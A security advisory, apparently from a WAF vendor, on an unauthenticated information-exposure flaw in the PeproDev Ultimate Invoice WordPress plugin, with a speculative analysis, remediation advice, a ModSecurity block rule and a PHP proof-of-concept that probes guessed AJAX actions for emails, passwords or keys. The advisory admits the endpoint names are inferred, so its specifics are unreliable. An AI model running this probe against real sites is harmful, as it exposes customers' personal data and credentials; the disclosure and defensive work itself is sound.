Published : August 11, 2026

CVE-2026-27372: PeproDev Ultimate Invoice <= 2.2.6 Unauthenticated Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 2.2.6
Patched Version
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-27372 (metadata-based): The PeproDev Ultimate Invoice plugin for WordPress, versions up to and including 2.2.6, exposes sensitive information to unauthenticated attackers. The vulnerability has a CVSS score of 5.3 (Medium) and is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor. No patched version is available, and the vulnerable plugin is not downloadable from WordPress.org, so this analysis is based on metadata and common WordPress plugin patterns.

The root cause of this vulnerability stems from missing authorization or access control checks on one or more endpoints that return sensitive data. In WordPress plugins, this commonly occurs in AJAX handlers, REST API routes, or directly accessible PHP files that fail to verify the current user’s capabilities or authenticate the request. Since the vulnerability affects all versions up to and including 2.2.6 and requires no authentication, an insecure function likely uses a nonce check that is not enforced, or a hook that is registered with the wrong action (e.g., using ‘wp_ajax_’ instead of also checking ‘wp_ajax_nopriv_’). Atomic Edge analysis infers that at least one endpoint reads user data, configuration options, or database rows and returns them without proper access controls. This conclusion is inferred from the CWE classification and the generic description; without source code, we cannot confirm the exact endpoint or the type of data exposed.

Exploitation requires no authentication and no user interaction. An attacker can send a crafted HTTP request to a vulnerable endpoint, such as an AJAX handler or REST API route, using the plugin’s common URL patterns. Based on common plugin naming, likely endpoints include ‘/wp-admin/admin-ajax.php?action=pepro_dev_invoice_download’ or ‘/wp-json/pepro/v1/invoice’. The request would include parameters specifying which data to retrieve, such as an invoice ID, user ID, or configuration key. For example, an attacker could attempt to download an invoice by ID, which might expose personal information of the customer, or call an endpoint that returns database credentials stored in the plugin’s settings. The attack succeeds because the endpoint does not validate the requester’s role or the existence of a valid nonce.

Remediation requires adding proper authorization checks to every endpoint that accesses sensitive data. The plugin must verify that unauthenticated access is blocked, and for authenticated users, capability checks (e.g., ‘current_user_can()’) must confirm the required permission level. Additionally, nonces should be validated on all state-changing or data-retrieval requests. Server-side validation is essential; relying on client-side checks is insufficient. Since no patched version is available, administrators should mitigate the risk by disabling the plugin or applying a virtual patch at the WAF level to block direct access to any potentially vulnerable endpoints. A proactive security review of all AJAX and REST endpoints in the plugin is recommended to identify and fix any other missing authorization checks.

If exploited, this vulnerability exposes sensitive data to unauthorized parties. The exact impact depends on the information accessible. At a minimum, it could reveal user details such as names, email addresses, and billing information. It could also leak configuration data, including database credentials, API keys, or payment gateway settings, which would allow an attacker to further compromise the site. While the CVSS score is Medium due to the low confidentiality impact and lack of integrity or availability effects, the real-world impact can be severe if the exposed data includes credentials or personally identifiable information. This can lead to identity theft, further unauthorized access, and compliance violations under data protection regulations.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-27372 (metadata-based)
# Block unauthenticated access to likely vulnerable AJAX actions in PeproDev Ultimate Invoice
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-27372 - Unauthenticated Information Exposure via PeproDev Ultimate Invoice',severity:'CRITICAL',tag:'CVE-2026-27372'"
    SecRule ARGS_POST:action "@pm pepro_invoice_download pepro_dev_get_invoice pepro_get_settings" "chain"
        SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27372 - PeproDev Ultimate Invoice <= 2.2.6 - Unauthenticated Information Exposure

// This PoC demonstrates an unauthenticated request to a likely vulnerable AJAX endpoint.
// Because no source code is available, the exact action name is not confirmed.
// The script provides placeholder action names that can be adjusted.

$target_url = 'http://example.com'; // Change to the target WordPress site

// Common AJAX handler path
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Possible action names (adjust based on plugin inspection)
$actions = ['pepro_invoice_download', 'pepro_dev_get_invoice', 'pepro_get_settings'];

foreach ($actions as $action) {
    $ch = curl_init($ajax_url);
    $params = [
        'action' => $action,
        'id' => '1', // Example invoice or user ID
    ];

    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($params),
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
        CURLOPT_TIMEOUT => 10,
    ]);

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    echo "[i] Action: $actionn";
    echo "[i] HTTP Status: $http_coden";
    echo "[i] Response:n" . $response . "n---n";

    // Detect if sensitive data is returned (look for keys, emails, or user data)
    if ($response && (strpos($response, 'email') !== false || strpos($response, 'password') !== false || strpos($response, 'key') !== false)) {
        echo "[!] Possible sensitive information exposed.n";
    }
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.